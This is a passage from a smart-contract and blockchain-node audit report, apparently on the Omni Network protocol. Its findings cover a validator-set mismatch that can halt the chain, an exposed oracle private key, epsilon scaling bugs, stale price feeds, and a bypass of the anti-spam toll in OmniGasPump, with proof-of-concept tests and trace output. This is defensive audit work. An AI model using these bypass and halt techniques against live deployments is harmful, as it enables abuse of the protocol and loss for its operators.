https://cantina.xyz/code/d139882b-2d3a-49ac-9849-9dccef584090/halo/attest/keeper/keeper.go#L648-L660

```
func (k *Keeper) EndBlock(ctx context.Context) error {
    sdkCtx := sdk.UnwrapSDKContext(ctx)
    if sdkCtx.BlockHeight() <= 1 {
        return nil // First block doesn't have any vote extensions to approve.
    }

    valset, err := k.prevBlockValSet(ctx)
    if err != nil {
        return errors.Wrap(err, "fetch validators")
    }

    return k.Approve(ctx, valset)
}
```

The `valset` used in `Approve` is fetched from `k.prevBlockValSet()`:

https://cantina.xyz/code/d139882b-2d3a-49ac-9849-9dccef584090/halo/attest/keeper/keeper.go#L839-L861

```
// prevBlockValSet returns the previous blocks active validator set.
// Previous block is used since vote extensions are delayed by one block.
func (k *Keeper) prevBlockValSet(ctx context.Context) (ValSet, error) {
    prevBlock := sdk.UnwrapSDKContext(ctx).BlockHeight() - 1
    resp, err := k.valProvider.ActiveSetByHeight(ctx, uint64(prevBlock))
    if err != nil {
        return ValSet{}, err
    }

    valsByPower := make(map[common.Address]int64)
    for _, val := range resp.Validators {
        ethAddr, err := val.EthereumAddress()
        if err != nil {
            return ValSet{}, err
        }
        valsByPower[ethAddr] = val.Power
    }

    return ValSet{
        ID:   resp.Id,
        Vals: valsByPower,
    }, nil
}
```

Please also notice attest module's `EndBlock` is executed earlier than valsync module, which update cosmos validator set:

https://cantina.xyz/code/d139882b-2d3a-49ac-9849-9dccef584090/halo/app/app_config.go#L77-L81

```
    endBlockers = []string{
        attesttypes.ModuleName,
        valsynctypes.ModuleName, // Wraps staking module end blocker (must come after attest module)
        upgradetypes.ModuleName,
    }
```

3. OmniPortal's `xSubmit`, which is irrelevent to this issue.

To better understand the flow, we consider a simple case where someone request to be a validator:

We say the validator call `Staking::createValidator()` during consensus chain block H, the call flow will be:

At block H, the event get catched by other validators, and get included into block H+1's attestation root.

At block H+1, the attestation get voted and passed. At the end of this block, Valsync module will push the validator change to cometBFT: (cosmos staking module's EndBlocker is wrapped here) https://cantina.xyz/code/d139882b-2d3a-49ac-9849-9dccef584090/halo/valsync/keeper/keeper.go#L90-L114

```
func (k *Keeper) EndBlock(ctx context.Context) ([]abci.ValidatorUpdate, error) {
    updates, err := k.sKeeper.EndBlocker(ctx)

        ...
```

At block H+2, the new validator is a valid validator now. However, his/her signature will be:

- Accepted in octane `PrepareProposal`, as it fetch the fresh validator set from cometBFT.
- Rejected in attest `EndBlock`, as it fetch the stale validator set from block H+1, while the new validator is not a validator.

If the new This will cause the chain to halt.

There are some other effects, as different Quroum is used to verify the same attestation root. For example, if some validators are `slashed` (or `jailed`) in `BeginBlock`, the network may halt because attest `EndBlock` uses a higher total power(include the slashed part), while octane `PrepareProposal` only accept fresh validators.

https://docs.cosmos.network/main/build/modules/slashing#validator-bonded

- Recommendation

Use the fresh value instead.

3.3 Medium Risk

3.3.1 OOS for sponsor only - `FeeOracleV1 owner private key` seems unprotected and exposed

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

- Context This report is similar to `OM2-5` from Sigma-prime.
- Description It appears that `monitor service` is accessing the `owner's private key` of the `FeeOracleV1` contract when starting out, which could have serious consequence if the machine running this service is compromised which would grant access to this private key, and would allow an attacker to call priviledged functions which could be disastrous for the protocol.
- setBaseGasLimit
- setProtocolFee
- setManager
- setToNativeRate
- setGasPrice
- bulkSetFeeParams

```
func Start(ctx context.Context, network netconf.Network, cfg Config, privKeyPath string) error {
    log.Info(ctx, "Starting fee manager", "endpoint", cfg.RPCEndpoints)

    privKey, err := crypto.LoadECDSA(privKeyPath) //<------------------
    if err != nil {
        return errors.Wrap(err, "load private key")
    }

    toSync, err := chainsToSync(network)
    if err != nil {
        return err
    }

    ...
```

- Impact `High` as the protocol as a whole would be `compromised` allowing the attacker to set custom value for the priviledged functions which could render the **protocol insolvent**.
- Likelihood `Low` as clearly this would be a rare scenario, but clearly possible. Since monitor service is `read-only` (but it's not as calling SetGasPriceOn) and mostly considered `benign`, it might fall into the false assumption that it require less security then other back-end services which might increase the likelihood further.
- Recommendation At least restrictive permissions should be enforced on this file. Additionally, I would advise to **encrypt the key at rest** using a strong encryption algorithm and store the encryption key separately (preferably in a secure key management service).

If using docker, there is also an option of using https://docs.docker.com/compose/use-secrets/.

Please also note that the private key used to monitor `OmniRestaking AVS contract` would be exposed to the same risk, but unsure if this is used in the moment.

```
func startAVSSync(ctx context.Context, cfg Config, network netconf.Network, ethClients
↪  map[uint64]ethclient.Client) error {
    privateKey, err := ethcrypto.LoadECDSA(cfg.PrivateKey)
    ...
```

3.3.2 OOS for sponsor only - `feeOracle::syncGasPrice` is not using the proper scale for `epsilon` paramater

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

- Context `Monitor` service **update** every 5 min. `FeeOracleV1.sol` contract about external chains `gas price` and `token price`, which dictate how `much fees` user must pay upfront for their cross-chain transaction on the destination chain (when `feeFor` is called), so it plays a `critical role` in the overall protocol.
- Description As follow is `syncGasPrice` which fetch the gas price from the destination chain, compare it with the current FeeOracleV1 on-chain value, and whenever the difference is outside a certain range (inEpsilon), calls `SetGasPriceOn` to update the new gas price on-chain.

We can observe a `clear problem` from the code, when calling `inEpsilon`, the epsilon is hardcoded to `0.001` which is wrong as will make this `function to always return false`. The problem originate from the fact that the input price being compared here are originating from `uint64` (they represent the gas price in `wei`), which means the `smallest difference` between any value would be `1 wei`, consequently trying to detect a difference of `0.001` will never work, hence always return false.

```
// syncGasPrice sets the on-chain gas price to the buffered gas price, if they differ.
func (o feeOracle) syncGasPrice(ctx context.Context, dest evmchain.Metadata) error {
    ctx = log.WithCtx(ctx, "chainId", dest.ChainID)

    buffered := o.gprice.GasPrice(dest.ChainID)

    if buffered == 0 {
        return nil
    }

    if buffered > maxSaneGasPrice {
        log.Warn(ctx, "Buffered gas price exceeds sane max", errors.New("unexpected gas price"), "buffered",
↪  buffered, "max_sane", maxSaneGasPrice)
        buffered = maxSaneGasPrice
    }

    c, err := o.getContract(ctx)
    if err != nil {
        return errors.Wrap(err, "get contract")
    }

    onChain, err := c.GasPriceOn(ctx, dest.ChainID)
    if err != nil {
        return errors.Wrap(err, "gas price on")
    }

    guageGasPrice(o.chain, dest, onChain.Uint64())

    shielded := withGasPriceShield(buffered)

    // if on chain gas price is within epsilon of buffered + GasPriceShield, do nothing
    // The shield helps keep on-chain gas prices higher than live gas prices
    if inEpsilon(float64(onChain.Uint64()), float64(shielded), 0.001) {
        return nil
    }

    err = c.SetGasPriceOn(ctx, dest.ChainID, new(big.Int).SetUint64(shielded))
    if err != nil {
        return errors.Wrap(err, "set gas price on")
    }
```

```
    // if on chain update successful, update gauge
    guageGasPrice(o.chain, dest, buffered)

    return nil
}
```

```
// inEpsilon returns true if a and b are within epsilon of each other.
func inEpsilon(a, b, epsilon float64) bool {
    diff := a - b

    return diff < epsilon && diff > -epsilon
}
```

- Proof of Concept Add the following test in `xfeemngr_internal_test.go` and run it.

Here I'm fixing the problem by injecting an `epsilon` of 1000000, which I think is the original intent of the team, which correspond to 0.001 Gwei.

```
func TestInEpsilon(t *testing.T) {
    // Assuming an Epsilon range of 0.001 Gwei --> 1000000 wei

    epsilon := float64(1000000)
    //epsilon := 0.001 // Uncomment this and comment the previous line to test the bug

    testCases := []struct {
        name     string
        onChain  uint64
        offChain uint64
        epsilon  float64
        expected bool
    }{
        {"baseline 30 Gwei, increase of 10 wei", 30000000000, 30000000010, epsilon, true},
        {"baseline 30 Gwei, increase of 10_000 wei", 30000000000, 30000010000, epsilon, true},
        {"baseline 30 Gwei, increase of 999_999 wei", 30000000000, 30000999999, epsilon, true},
        {"baseline 30 Gwei, increase of 1_000_000 wei", 30000000000, 30001000000, epsilon, false},
        {"baseline 30 Gwei, increase of 10_000_000 wei", 30000000000, 30010000000, epsilon, false},
        {"baseline 30 Gwei, decrease of 10 wei", 30000000010, 30000000000, epsilon, true},
        {"baseline 30 Gwei, decrease of 10_000 wei", 30000010000, 30000000000, epsilon, true},
        {"baseline 30 Gwei, decrease of 999_999 wei", 30000999999, 30000000000, epsilon, true},
        {"baseline 30 Gwei, decrease of 1_000_000 wei", 30001000000, 30000000000, epsilon, false},
        {"baseline 30 Gwei, decrease of 10_000_000 wei", 30010000000, 30000000000, epsilon, false},
    }

    for _, tc := range testCases {
        t.Run(tc.name, func(t *testing.T) {
            result := inEpsilon(float64(tc.onChain), float64(tc.offChain), tc.epsilon)
            if result != tc.expected {
                t.Errorf("inEpsilon(%q) = %v; want %v", tc.name, result, tc.expected)
            }
        })
    }
}
```

- Impact `Low` as will `drain slowly` but surely the monitor service account from native OMNI by updating price every 5 min. while not being required as the difference might be within inEpsilon range.
- Likelihood `High` as this will always happen in the moment.
- Recommendation

```
func (o feeOracle) syncGasPrice(ctx context.Context, dest evmchain.Metadata) error {
    ctx = log.WithCtx(ctx, "chainId", dest.ChainID)

        ...

    // if on chain gas price is within epsilon of buffered + GasPriceShield, do nothing
    // The shield helps keep on-chain gas prices higher than live gas prices
-   if inEpsilon(float64(onChain.Uint64()), float64(shielded), 0.001) {
+   if inEpsilon(float64(onChain.Uint64()), float64(shielded), 1_000_000) {
        return nil
    }

    err = c.SetGasPriceOn(ctx, dest.ChainID, new(big.Int).SetUint64(shielded))
    if err != nil {
        return errors.Wrap(err, "set gas price on")
    }

       ....
}
```

3.3.3 OOS for sponsor only - `feeOracle::syncToNativeRate` is not using the proper scale for `epsilon` paramater

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

- Context `Monitor` service **update** every 5 min. `FeeOracleV1.sol` contract about external chains `gas price` and `token price`, which dictate how `much fees` user must pay upfront for their cross-chain transaction on the destination chain (when `feeFor` is called), so it plays a `critical role` in the overall protocol.
- Description As follow is `syncToNativeRate` which fetch the token price from CoinGecko, compare it with the current FeeOracleV1 on-chain value, and whenever the difference is outside a certain range (inEpsilon), calls `SetToNativeRate` to update the new token price rate on-chain.

After some digging, seems like the `epsilon` value is not also at the proper scale (similar to my other report), which in the moment will make `inEpsilon` to always return false, so always updating the on-chain rate no matter what, which is unexpected (see PoC).

```
// syncToNativeRate sets the on-chain conversion rate to the buffered conversion rate, if they differ.
func (o feeOracle) syncToNativeRate(ctx context.Context, dest evmchain.Metadata) error {
    ctx = log.WithCtx(ctx, "dest_chain", dest.Name, "dest_token", dest.NativeToken)

    srcPrice := o.tprice.Price(o.chain.NativeToken)
    destPrice := o.tprice.Price(dest.NativeToken)

    if srcPrice == 0 || destPrice == 0 {
        return nil
    }

    // bufferedRate "source token per destination token" is "USD per dest" / "USD per src"
    bufferedRate := destPrice / srcPrice

    if o.chain.NativeToken == tokens.OMNI && dest.NativeToken == tokens.ETH && bufferedRate >
↪   maxSaneOmniPerEth {
        log.Warn(ctx, "Buffered omni-per-eth exceeds sane max", errors.New("unexpected conversion rate"),
↪   "buffered", bufferedRate, "max_sane", maxSaneOmniPerEth)
        bufferedRate = maxSaneOmniPerEth
    }

    if o.chain.NativeToken == tokens.ETH && dest.NativeToken == tokens.OMNI && bufferedRate >
↪   maxSaneEthPerOmni {
        log.Warn(ctx, "Buffered eth-per-omni exceeds sane max", errors.New("unexpected conversion rate"),
↪   "buffered", bufferedRate, "max_sane", maxSaneEthPerOmni)
        bufferedRate = maxSaneEthPerOmni
    }

    bufferedNumer := rateToNumerator(bufferedRate)

    c, err := o.getContract(ctx)
```

```
    if err != nil {
        return errors.Wrap(err, "get contract")
    }

    onChainNumer, err := c.ToNativeRate(ctx, dest.ChainID)
    if err != nil {
        return errors.Wrap(err, "conversion rate on")
    }

    onChainRate := numeratorToRate(onChainNumer)
    guageRate(o.chain, dest, onChainRate)

    // compare on chain and buffered rates within epsilon, with epsilon < 1 / rateDenom
    // such that epsilon is more precise than on chain rates
    if inEpsilon(onChainRate, bufferedRate, 1.0/float64(rateDenom*10)) {
        return nil
    }

    // if bufferred rate is less than we can represent on chain, use smallest representable rate -
↪   1/CONVERSION_RATE_DENOM
    if bufferedRate < 1.0/float64(rateDenom) {
        log.Warn(ctx, "Buffered rate too small, setting minimum on chain", errors.New("conversion rate < min
↪   repr"), "buffered", bufferedRate)
        bufferedNumer = big.NewInt(1)
    }

    err = c.SetToNativeRate(ctx, dest.ChainID, bufferedNumer)
    if err != nil {
        return errors.Wrap(err, "set to native rate")
    }

    // if on chain update successful, update gauge
    guageRate(o.chain, dest, bufferedRate)

    return nil
}
```



```
// inEpsilon returns true if a and b are within epsilon of each other.
func inEpsilon(a, b, epsilon float64) bool {
    diff := a - b

    return diff < epsilon && diff > -epsilon
}
```

- Proof of Concept Add the following test in `xfeemngr_internal_test.go` and run it.

All the test case fails which seems wrong. I'm basically I'm doing the **smallest fluctuation possible** (one cent increase) and even at that scale on both conversion (OMNI --> ETH, ETH --> OMNI) are above `0.0000001` (see diff comment), hence why this will always return false, which seems unexpected. Be aware that the **CoinGecko API returns at most 2 decimals**, so one cent increment/decrement seems the lowest fluctuation you can ingest.

```
func TestInEpsilonRate(t *testing.T) {
    epsilon := 1.0 / float64(rateDenom*10)

    testCases := []struct {
        name         string
        onChainNumer uint64
        priceSrc     float64
        priceDest    float64
        epsilon      float64
        expected     bool
    }{
        {"OMNI --> ETH : ETH increase 1 cent", 250000000, 10, 2500.01, epsilon, true},
↪   //a=250,b=250.00100000000003,e=0.0000001 (diff: -0.0010000000000331966)
        {"OMNI --> ETH : ETH increase 10 cent", 250000000, 10, 2500.10, epsilon, true},
↪   //a=250,b=250.01,e=0.0000001 (diff: -0.0099999999999)
        {"ETH --> OMNI : OMNI increase 1 cent", 4000, 2500, 10.01, epsilon, true},
↪   //a=0.004,b=0.004004,e=0.0000001 (diff: -0.000003999999999)
        {"ETH --> OMNI : OMNI increase 10 cent", 4000, 2500, 10.10, epsilon, true},
↪   //a=0.004,b=0.00404,e=0.0000001 (diff: -0.00004)
    }

    for _, tc := range testCases {
        t.Run(tc.name, func(t *testing.T) {
            onChainRate := numeratorToRate(new(big.Int).SetUint64(tc.onChainNumer))
            bufferedRate := tc.priceDest / tc.priceSrc
            bufferedNumer := rateToNumerator(bufferedRate)
            result := inEpsilon(onChainRate, bufferedRate, 1.0/float64(rateDenom*10))

            if result != tc.expected {
                t.Errorf("inEpsilon(%q) = %v; want %v; %f", tc.name, result, tc.expected, bufferedNumer)
            }
        })
    }
}
```

- Impact `Low` as will `drain slowly` but surely the monitor service account from native OMNI by updating rates every 5 min. while not being required as the difference might be within inEpsilon range.
- Likelihood `High` as this will always happen in the moment.
- Recommendation Please review the code properly as the current `epsilon` value used seems not effective as shown by the PoC.

3.3.4 OOS for sponsor only - `feeOracle::syncToNativeRate` could face `stale price` feed from `coingecko API` without knowning

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

- Context `Monitor` service **update** every 5 min. `FeeOracleV1.sol` contract about external chains `gas price` and `token price`, which dictate how `much fees` user must pay upfront for their cross-chain transaction on the destination chain (when `feeFor` is called), so it plays a `critical role` in the overall protocol.

This issue is related to similar concerns as `Spearbit-go audit 5.1.1` but not touched in the audit.

- Description As follow is `syncToNativeRate` which fetch the `token prices` from **CoinGecko API** (throught o.tprice). There is a huge centralized risk in relying on solely in this API for token prices but that is already discussed in `5.1.1`. A concern that was not discussed is the **staling price** issue and how would the protocol detect and mitigate the issue.

In the rare and unfortunate scenario that price feed become stale, fortunately the protocol has the all key contracts which rely on `feeFor` as fully pausable, so if that happen, they can mitigate the issue pausing everything. Nevertheless, my concern is more related how would they would monitor and detect such scenario, in the moment they don't have such monitoring from the monitor service itself, which is a bit odd.

As follow is the request and response made to CoinGecko. By default, there is no information about how old is this price data, which would be required to know automatically and be able to program this automatic detection, similar as you would do with a Chainlink feed.

https://api.coingecko.com/api/v3/simple/price?ids=omni-network,ethereum;vs_currencies=usd

```
{"ethereum":{"usd":2456.44},"omni-network":{"usd":8.8}}
```

In order to get the time the price was last updated, you need to specify an additional parameter as follow (include_last_updated_at=true) https://api.coingecko.com/api/v3/simple/price?ids=omni-network,ethereum;vs_currencies=usd;include_last_updated_at=true

```
{"ethereum":{"usd":2456.16,"last_updated_at":1728853083},"omni-network":{"usd":8.8,"last_updated_at":172885309
↪ 5}}
```

```
// syncToNativeRate sets the on-chain conversion rate to the buffered conversion rate, if they differ.
func (o feeOracle) syncToNativeRate(ctx context.Context, dest evmchain.Metadata) error {
    ctx = log.WithCtx(ctx, "dest_chain", dest.Name, "dest_token", dest.NativeToken)

    srcPrice := o.tprice.Price(o.chain.NativeToken) // <---------------- Get price from CoinGecko
    destPrice := o.tprice.Price(dest.NativeToken) // <---------------- Get price from CoinGecko

    if srcPrice == 0 || destPrice == 0 {
        return nil
    }

    // bufferedRate "source token per destination token" is "USD per dest" / "USD per src"
    bufferedRate := destPrice / srcPrice

    if o.chain.NativeToken == tokens.OMNI && dest.NativeToken == tokens.ETH && bufferedRate >
↪ maxSaneOmniPerEth {
        log.Warn(ctx, "Buffered omni-per-eth exceeds sane max", errors.New("unexpected conversion rate"),
↪ "buffered", bufferedRate, "max_sane", maxSaneOmniPerEth)
        bufferedRate = maxSaneOmniPerEth
    }

    if o.chain.NativeToken == tokens.ETH && dest.NativeToken == tokens.OMNI && bufferedRate >
↪ maxSaneEthPerOmni {
        log.Warn(ctx, "Buffered eth-per-omni exceeds sane max", errors.New("unexpected conversion rate"),
↪ "buffered", bufferedRate, "max_sane", maxSaneEthPerOmni)
        bufferedRate = maxSaneEthPerOmni
    }

    bufferedNumer := rateToNumerator(bufferedRate)

    c, err := o.getContract(ctx)
    if err != nil {
        return errors.Wrap(err, "get contract")
    }

    onChainNumer, err := c.ToNativeRate(ctx, dest.ChainID)
    if err != nil {
        return errors.Wrap(err, "conversion rate on")
    }

    onChainRate := numeratorToRate(onChainNumer)
    guageRate(o.chain, dest, onChainRate)

    // compare on chain and buffered rates within epsilon, with epsilon < 1 / rateDenom
    // such that epsilon is more precise than on chain rates
    if inEpsilon(onChainRate, bufferedRate, 1.0/float64(rateDenom*10)) {
        return nil
    }

    // if bufferred rate is less than we can represent on chain, use smallest representable rate -
↪ 1/CONVERSION_RATE_DENOM
    if bufferedRate < 1.0/float64(rateDenom) {
        log.Warn(ctx, "Buffered rate too small, setting minimum on chain", errors.New("conversion rate < min
↪ repr"), "buffered", bufferedRate)
        bufferedNumer = big.NewInt(1)
    }

    err = c.SetToNativeRate(ctx, dest.ChainID, bufferedNumer)
    if err != nil {
        return errors.Wrap(err, "set to native rate")
    }

    // if on chain update successful, update gauge
    guageRate(o.chain, dest, bufferedRate)
```

```
    return nil
}
```

- Impact `Medium` as if the real price goes against the protocol favor (so user paying less for their transactions then what the protocol needs to pay) this can potentially render the **protocol partially insolvent** depending on how much time this happen and how much the protocol is active during that window of time. If the asset goes into the protocol favor, well it's not good either as user are paying too much for their transaction which is unfair and could cause reputation issue for the protocol down the line.
- Likelihood `Low` as I assume this should happen rarely, but should definitely not be ignored and can happen.
- Recommendation Would suggest to add `include_last_updated_at=true` in your CoinGecko request and add the corresponding logic in the monitor service to react in case the price feed is stale (let's say didn't move for an hour or so).

3.3.5 OOS for sponsor only - `OmniGasPump` using `ConfLevel.Latest` can be risky

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

- Description `OmniGasPump` is used to help user get native OMNI from their ETH (on L2s) quickly. There is a cap amount per transaction defined by `maxSwap` and set at 2 ETH in test suite at least.

The `fillUp` function is using **ConfLevel.Latest** for those transactions which has the potential to reorg on L2s (sequencer misbehaves or fails), which would translate into a `loss for the protocol`, as the user would get minted those OMNI in OMNI EVM while those funds would be removed by the reorgs from OmniGasPump contract.


```
    /**
     * @notice Swaps msg.value ETH for OMNI and sends it to `recipient` on Omni.
     *
     *      Takes an xcall fee and a pct cut. Cut taken to disencentivize spamming.
     *      Returns the amount of OMNI swapped for.
     *
     *      To retry (if OmniGasStation transfer fails), call swap() again with the
     *      same `recipient`, and msg.value == swapFee().
     *
     * @param recipient Address on Omni to send OMNI to
     */
    function fillUp(address recipient) public payable whenNotPaused returns (uint256) {
        // take xcall fee
        uint256 f = xfee();
        require(msg.value >= f, "OmniGasPump: insufficient fee");
        uint256 amtETH = msg.value - f;

        // check max
        require(amtETH <= maxSwap, "OmniGasPump: over max");

        // take toll
        uint256 t = amtETH * toll / TOLL_DENOM;
        amtETH -= t;

        uint256 amtOMNI = _toOmni(amtETH);

        // update owed
        owed[recipient] += amtOMNI;

        // settle up with the gas station
        xcall({
            destChainId: omniChainId(),
            to: gasStation,
            conf: ConfLevel.Latest,
            data: abi.encodeCall(OmniGasStation.settleUp, (recipient, owed[recipient])),
            gasLimit: SETTLE_GAS
        });

        emit FilledUp(recipient, owed[recipient], msg.value, f, t, amtOMNI);
```

```
        return amtOMNI;
    }
```

- Impact `High` as this is a critical since literally printing money for the user and would be at the expense of the protocol, so in no circumstance it should not be backed up by real funds. Decrease OMNI value token overall as those result in print out of thin air type of scenario.
- Likelihood `Low` definitely as L2s reorg should be rare.
- Recommendation I would recommend to change the xcall confirmation to **ConfLevel.Finalized** for `OmniGasPump::fillUp` as
- This functionality should be used a lot.
- Very sensitive and not much value for the user VS the risk for the protocol, which is literally printing new money for the user on OMNI EVM.
- Some chain might only support Finalized

The same reasoning that the bridge use `ConfLevel.Finalized` should be applied here, as while the maximum amount is capped (maxSwap), if such cap in production is also 2 ETH (as in test), that is still significant amount of capital.

```
    function fillUp(address recipient) public payable whenNotPaused returns (uint256) {
        // take xcall fee
        uint256 f = xfee();
        require(msg.value >= f, "OmniGasPump: insufficient fee");
        uint256 amtETH = msg.value - f;

        // check max
        require(amtETH <= maxSwap, "OmniGasPump: over max");

        // take toll
        uint256 t = amtETH * toll / TOLL_DENOM;
        amtETH -= t;

        uint256 amtOMNI = _toOmni(amtETH);

        // update owed
        owed[recipient] += amtOMNI;

        // settle up with the gas station
        xcall({
            destChainId: omniChainId(),
            to: gasStation,
-           conf: ConfLevel.Latest,
+           conf: ConfLevel.Finalized,
            data: abi.encodeCall(OmniGasStation.settleUp, (recipient, owed[recipient])),
            gasLimit: SETTLE_GAS
        });

        emit FilledUp(recipient, owed[recipient], msg.value, f, t, amtOMNI);

        return amtOMNI;
    }
```

3.3.6 OOS for sponsor only - `OmniGasPump` anti-spamming mechanism can be by-passed

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

- Context The current protocol V1 lacks retry mechanism in case the cross-chain message fails (as such OOS) as indicated in the following contest Known Issue.

```
Retry Mechanism
A “retry mechanism” is a way to retry a cross-chain message if it fails.
An in-protocol retry mechanism for failed cross-chain messages is out of scope for V1.
This can be built out-of-protocol in the short term. But likely will be added to the protocol medium-term.
```

Nevertheless, there is an exception to this, `OmniGasPump::fillUp` contract have a workaround to this, which this report will touch on.

- Description `OmniGasPump` aim to be protect the protocol against `spamming` by **charging a fee** (aka toll) in the `fillUp` function as follow. There are 2 problems here which allow to by-pass such protection :

1. If the attacker pass `xfee` value only, amtETH become zero, which consequently also translate in no toll being charged (t == 0) (see PoC).
2. Assuming a realistic toll of 1% (so 10), this means if the attacker pass a xfee + 99 wei (or less), the toll calculation will hit the `precicion loss`, which also translate in no toll being charged.

```
        // take toll
        uint256 t = amtETH * toll / TOLL_DENOM;    // 99 * 10 / 1000 = 0
```

```
    /**
     * @notice Swaps msg.value ETH for OMNI and sends it to `recipient` on Omni.
     *
     *      Takes an xcall fee and a pct cut. Cut taken to disencentivize spamming.
     *      Returns the amount of OMNI swapped for.
     *
     *      To retry (if OmniGasStation transfer fails), call swap() again with the
     *      same `recipient`, and msg.value == swapFee().
     *
     * @param recipient Address on Omni to send OMNI to
     */
    function fillUp(address recipient) public payable whenNotPaused returns (uint256) {
        // take xcall fee
        uint256 f = xfee();
        require(msg.value >= f, "OmniGasPump: insufficient fee");
        uint256 amtETH = msg.value - f;

        // check max
        require(amtETH <= maxSwap, "OmniGasPump: over max");

        // take toll
        uint256 t = amtETH * toll / TOLL_DENOM;
        amtETH -= t;

        uint256 amtOMNI = _toOmni(amtETH);

        // update owed
        owed[recipient] += amtOMNI;

        // settle up with the gas station
        xcall({
            destChainId: omniChainId(),
            to: gasStation,
            conf: ConfLevel.Latest,
            data: abi.encodeCall(OmniGasStation.settleUp, (recipient, owed[recipient])),
            gasLimit: SETTLE_GAS
        });

        emit FilledUp(recipient, owed[recipient], msg.value, f, t, amtOMNI);

        return amtOMNI;
    }
```

Now, as indicated in the Natspec of the function (I corrected it here, the original is referencing previous functions I guess), the flaw that I'm reporting here (the `first case only`) seems to be on purpose to allow user to retry their transaction in case of failure.

```
    ...
    *      To retry (if OmniGasStation transfer fails), call fillUp() again with the
    *      same `recipient`, and msg.value == xfee().
    ...
```

So while this is true, we can still make the counter argument that such workaround should be allowed only when `owed[recipient] > 0` as a precondition, as otherwise the workaround should not be allowed, but it's not the case here (as we can't know it due to the nature of the cross chain transaction, this information is tracked in the destination chain), so the flaws described seems legetimate concerns.

- Impact `Low` as an attacker can flood the protocol with `empty value XMsg` which will be wasting a lot of resources from the protocol off-chain components (Halo, Relayer, etc) while delaying legetimate users transactions as all those transaction need to be processed sequentially. Nevertheless, since

funds are not directly impacted and DOS risk should not be a concerns as already protected by the (protocolFee and baseGasLimit) I think this can't justify a Medium severity impact. Be aware that such zero value would reach OmniPortal on the destination chain (in that case OMNI EVM) and would result in a `revert` during execution in `OmniGasStation` (see PoC), so it would do the entire cross chain transaction cycle for nothing.

- Likelihood `High` definitely as anyone can do this without much cost barrier. The `only cost` for the attacker would be the actual `L2 gas cost` + the `xfee` for this transaction on OMNI EVM. L2 rollup transaction are very cheap (fillUp call consumes around 100k gas) and we can expect similar cost on the OMNI EVM (settleUp charge 140k gas), so probably few cents overall.
- Proof of Concept Add the following test in `OmniGasPump.t.sol` and run it by `forge test --match-test=test_fillUpByZeroAmount -vvvv`. Toll is at 10% by default in this test suite.

```
    function test_fillUpByZeroAmount() public {
        address recipient = makeAddr("recipient");
        uint256 initialBalance = 1000 ether;
        uint256 fee = pump.xfee();
        uint64 omniChainId = portal.omniChainId();
        vm.deal(recipient, initialBalance);

        uint256 swapAmt = 0; // <------------------------------------------------------ Zero amount pump works
↪   fine.
        uint256 expectedOwedETH = swapAmt - (swapAmt * toll / pump.TOLL_DENOM());
        uint256 expectedOwedOMNI = expectedOwedETH * 10; // 1 ETH == 10 OMNI
        vm.expectCall(
            address(portal),
            fee,
            abi.encodeCall(
                IOmniPortal.xcall,
                (
                    omniChainId,
                    ConfLevel.Latest,
                    gasStation,
                    abi.encodeWithSelector(OmniGasStation.settleUp.selector, recipient, expectedOwedOMNI),
                    pump.SETTLE_GAS()
                )
            )
        );

        vm.prank(recipient);
        uint256 actualOwedOMNI = pump.fillUp{ value: fee }(recipient); // <--------- Zero amount pump as only
↪   passing on the cross chain fee
    }
```


OUTPUT

```
...


          [2305] MockPortal::feeFor(166, 0x3bd9b9f60000000000000000000000006217c47ffa5eb3f3c92247fffe22ad99
    ↪  8242c500000000000000000000000000000000000000000000000000000000000000000000, 140000 [1.4e5])
    ↪  [staticcall]
               [736] MockFeeOracle::feeFor(166, 0x3bd9b9f60000000000000000000000006217c47ffa5eb3f3c92247fffe2
    ↪  2ad998242c500000000000000000000000000000000000000000000000000000000000000000, 140000 [1.4e5])
    ↪  [staticcall]
                  ← [Return] 1000000000 [1e9]
               ← [Return] 1000000000 [1e9]
          [32358] MockPortal::xcall{value: 1000000000}(166, 1, gasStation:
    ↪  [0xD8A17Dc95A24624E721b953B83732F0882f41faf], 0x3bd9b9f60000000000000000000000006217c47ffa5eb3f3c922
    ↪  47fffe22ad998242c500000000000000000000000000000000000000000000000000000000000000000000, 140000
    ↪  [1.4e5])
               [736] MockFeeOracle::feeFor(166, 0x3bd9b9f60000000000000000000000006217c47ffa5eb3f3c92247fffe2
    ↪  2ad998242c500000000000000000000000000000000000000000000000000000000000000000, 140000 [1.4e5])
    ↪  [staticcall]
                  ← [Return] 1000000000 [1e9]
               emit XMsg(destChainId: 166, shardId: 1, offset: 1, sender: TransparentUpgradeableProxy:
    ↪  [0xc7183455a4C133Ae270771860664b6B7ec320bB1], to: gasStation:
    ↪  [0xD8A17Dc95A24624E721b953B83732F0882f41faf], data: 0x3bd9b9f60000000000000000000000006217c47ffa5eb3
    ↪  f3c92247fffe22ad998242c500000000000000000000000000000000000000000000000000000000000000000000, gasLimit:
    ↪  140000 [1.4e5], fees: 1000000000 [1e9])
               ← [Stop]
            emit FilledUp(recipient: recipient: [0x006217c47ffA5Eb3F3c92247ffFE22AD998242c5], owed: 0, amtETH:
    ↪  1000000000 [1e9], fee: 1000000000 [1e9], toll: 0, amtOMNI: 0)
            ← [Return] 0
         ← [Return] 0
      ← [Stop]

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 5.78ms (1.27ms CPU time)
```

We can observe `FilledUp` event which confirm the `toll being 0`, also `owed`, and `XMsg` event is generated successfully. We can also observe that when this get attested by Halo, relayed and executed on OMNI EVM, this will revert `require(owed > settled...` as owed is zero. This should not cause any problem, and will be baked as a reverted transaction in the OMNI EVM block.


```
    function settleUp(address recipient, uint256 owed) external xrecv whenNotPaused {
        require(isXCall() && isPump(xmsg.sourceChainId, xmsg.sender), "GasStation: unauthorized");

        uint256 settled = fueled[recipient][xmsg.sourceChainId];

        // If already settled, revert
        require(owed > settled, "GasStation: already funded");                    //<---------------- THIS
↪   WILL REVERT `0 > 0 = false`

        // Transfer the difference
        (bool success,) = recipient.call{ value: owed - settled }("");

        // Update books. We do not bother doing so pre-transfer, because isXCall() prevents reentrancy
        if (success) fueled[recipient][xmsg.sourceChainId] = owed;

        emit SettledUp(recipient, xmsg.sourceChainId, owed, fueled[recipient][xmsg.sourceChainId], success);
    }
```

- Recommendation Failures on OMNI EVM should be `extremely rare` and an `edge case` and as such should not build workaround which allow to bypass the toll protection feature.

